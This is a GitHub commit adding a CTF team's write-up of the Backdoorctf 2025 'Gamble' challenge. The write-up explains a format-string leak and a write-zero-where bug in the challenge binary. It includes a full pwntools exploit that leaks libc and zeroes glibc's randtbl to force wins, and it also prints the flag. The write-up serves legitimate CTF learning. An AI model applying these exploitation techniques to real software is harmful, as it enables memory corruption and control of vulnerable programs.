Skip to content

Commit 678b084

Browse files
committed
Bump version to 1.0.0 and add Gamble writeup
1 parent 7c08a9e commit 678b084

8 files changed

Lines changed: 176 additions & 1 deletion

File tree

package.json

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"name": "bytethecookies",
33
"type": "module",
4-
"version": "0.0.1",
4+
"version": "1.0.0",
55
"scripts": {
66
"dev": "astro dev",
77
"start": "astro dev",

public/images/gamble/bet.png

163 KB
Loading

public/images/gamble/command.png

92.7 KB
Loading

public/images/gamble/gamble.png

229 KB
Loading

public/images/gamble/login.png

224 KB
Loading

public/images/gamble/main.png

104 KB
Loading

public/images/gamble/win.png

56.8 KB
Loading
Lines changed: 175 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,175 @@
1+
---
2+
title: Backdoorctf 2025 | Gamble
3+
published: 2025-12-18
4+
description: My friends and I planned a trip to Gokarna and heard about a famous casino with a machine that almost never lets anyone win, only the truly lucky. I’ve replicated it. Let’s see if you are one of them!
5+
image: ''
6+
tags: ["rev"]
7+
authors: ["ebreo"]
8+
solves: 44
9+
points: 100
10+
firstblood: false
11+
category: Backdoorctf2025
12+
draft: false
13+
14+
---
15+
16+
# Introduction
17+
18+
We are given an executable and some docker files.
19+
20+
![ls -al](/images/gamble/command.png)
21+
22+
Let's open the executable in ghidra.
23+
24+
![main](/images/gamble/main.png)
25+
26+
The program initializes srand with seed **time(0)**. We can login, place a bet, and finally gamble. In gamble, we get five chances to have rand() return a small enough number. In such case, the win function is called which prints the flag.
27+
28+
Analyzing the program, there are two vulnerabilities:
29+
1. A logic error in the loop of **bet()** allows to overflow **buf** to reach **local_98** and achieve a format string vulnerability with the printf
30+
31+
![bet](/images/bet.png)
32+
2. In **gamble()** after losing, instead of setting the user money to 0, money is treated as a pointer and 8 bytes at the pointed location are set to 0. This achieves a **write 0 where** vulnerability.
33+
![gamble](/images/gamble/gamble.png)
34+
The user money is a variable whose size happens to be 8 bytes, and we can set it during the login.
35+
36+
![login](/images/gamble/login.png)
37+
38+
Based on these vulnerabilities, we can obtain a libc leak using the format string and overwrite libc **randtbl** entries with 0. Since glibc’s **rand()** is a stateful PRNG that updates and mixes values stored in randtbl, forcing the table entries to zero collapses the internal state causing the generated values to be zero with higher probability.This technique was inspired by this [**writeup**](https://lkmidas.github.io/posts/20200319-angstromctf2020-writeups/), which also explains glibc **rand()** internals in more detail for interested readers.
39+
40+
Installing gdb on the Docker we can look at the stack layout when the format string is triggered, finding that "$33%p" leaks **__libc_start_main+122**, and that **randtbl** resides at __libc_start_main + 0x1d8ed0.
41+
42+
Steps of the exploit:
43+
- login with user id 0
44+
- place bet to leak libc
45+
- calculate randtbl address
46+
- for **i** in range(1,9):
47+
- login with user id **i**, give **randbtl + i\*8** as money amount
48+
- place bet
49+
- gamble
50+
- If lucky, flag is printed
51+
- Otherwise, **randbtl + i\*8** is set to 0
52+
53+
Exploit:
54+
```python
55+
from pwn import *
56+
from tqdm import trange
57+
58+
host = 'remote.infoseciitr.in'
59+
port = 8004
60+
61+
elf = ELF("./chal")
62+
63+
context.binary = elf
64+
context.terminal = ['konsole', '-e']
65+
context.log_level = logging.WARN
66+
67+
gdbscript = '''
68+
set follow-fork-mode parent
69+
# fmtstr vuln
70+
#break *bet+0x21e
71+
72+
break *rand
73+
74+
#break *gamble+0x138
75+
break *gamble+0x15c
76+
continue
77+
'''
78+
79+
#args.GDB = True
80+
def connection():
81+
if args.LOCAL:
82+
c = process([elf.path])
83+
elif args.GDB:
84+
c = gdb.debug([elf.path], gdbscript=gdbscript)
85+
else:
86+
c = remote(host, port)
87+
return c
88+
89+
stuff_to_leak = [(33,"__libc_start_call_main", 122), (23, "_rtld_global", 0), (19, "_IO_2_1_stdin_", 0)]
90+
stuff_to_leak = [(33,"__libc_start_call_main", 122)] #only need one if we don't trust libc db :)
91+
92+
assert(len(stuff_to_leak) < 10)
93+
94+
def main():
95+
96+
c = connection()
97+
user_idx = -1
98+
leaks_list = {}
99+
for index, name , offset in stuff_to_leak:
100+
101+
user_idx += 1
102+
# login
103+
c.sendlineafter(b'> ', b'1')
104+
c.sendlineafter(b'(0-9): ', f"{user_idx}".encode())
105+
c.sendlineafter(b'name: ', f'name{user_idx}'.encode())
106+
c.sendlineafter(b'want: ', b'0')
107+
108+
# leak libc
109+
payload = b'Z' * 10 + f'%{index}$p#'.encode()
110+
payload += b' '*(16 - len(payload))
111+
assert len(payload) == 16
112+
113+
c.sendlineafter(b'> ', b'2')
114+
c.sendlineafter(b'bet: ', f'{user_idx}'.encode())
115+
c.sendafter(b'Currency): ', payload)
116+
cur_leak = int(c.recvuntil(b'#', drop=True).decode(),16)
117+
print(index, hex(cur_leak), name)
118+
leaks_list[name] = cur_leak - offset
119+
#c.interactive()
120+
121+
print(leaks_list)
122+
123+
#libc_path = libcdb.search_by_symbol_offsets(symbols=leaks_list)
124+
#libc = ELF(libc_path)
125+
#print(hex(libc.symbols.randtbl))
126+
#libc.address = int(leaks_list["__libc_start_call_main"],16) - libc.symbols.__libc_start_call_main
127+
#libc.save('./libc.so')
128+
129+
#randtbl = int(leaks_list["__libc_start_call_main"],16) + 0x1d8ed0
130+
randtbl = leaks_list["__libc_start_call_main"] + 0x1d8ed0
131+
132+
print("randtbl = ", hex(randtbl))
133+
134+
randtbl_idx = -1
135+
for i in trange(10-user_idx):
136+
user_idx+=1
137+
randtbl_idx += 1
138+
139+
# login 1
140+
c.sendlineafter(b'> ', b'1')
141+
c.sendlineafter(b'(0-9): ', f'{user_idx}'.encode())
142+
c.sendlineafter(b'name: ', b'baitdecuchis')
143+
#c.sendlineafter(b'want: ', str((libc.symbols.unsafe_state + context.bytes * 3) // context.bytes).encode())
144+
c.sendlineafter(b'want: ', str((randtbl + 8*randtbl_idx) >> 3).encode()) #need to divide by 8
145+
146+
#bet
147+
c.sendlineafter(b'> ', b'2')
148+
c.sendlineafter(b'bet: ', f'{user_idx}'.encode())
149+
c.sendlineafter(b'Currency): ', b'a')
150+
151+
# gamble
152+
c.sendlineafter(b'> ', b'3')
153+
c.sendlineafter(b'gamble: ', f'{user_idx}'.encode())
154+
c.recvuntil(b"Press ENTER to gamble...")
155+
156+
for _ in range(5):
157+
c.sendline(b'')
158+
159+
rcvd = c.recvlines(2)
160+
if b"Congratulations! You guessed it right!" in rcvd:
161+
print("got lucky")
162+
c.interactive()
163+
exit()
164+
165+
print("got unlucky")
166+
167+
if __name__ == '__main__':
168+
main()
169+
```
170+
171+
The loop at the beginning initially leaked multiple libc values in order to use pwntools **libcdb.search_by_symbol_offsets** to have the offsets calculated automatically. This did not work and we ended up doing the math with hardcoded offsets like the good old times :thumbsup:.
172+
173+
Exploit skeleton provided by Antonio aka [simplesso](https://github.com/s1mpl3ss0).
174+
175+
flag: `flag{r4nd_1s_n0t_truly_r4nd0m_l0l!_57}`

0 commit comments

Comments
 (0)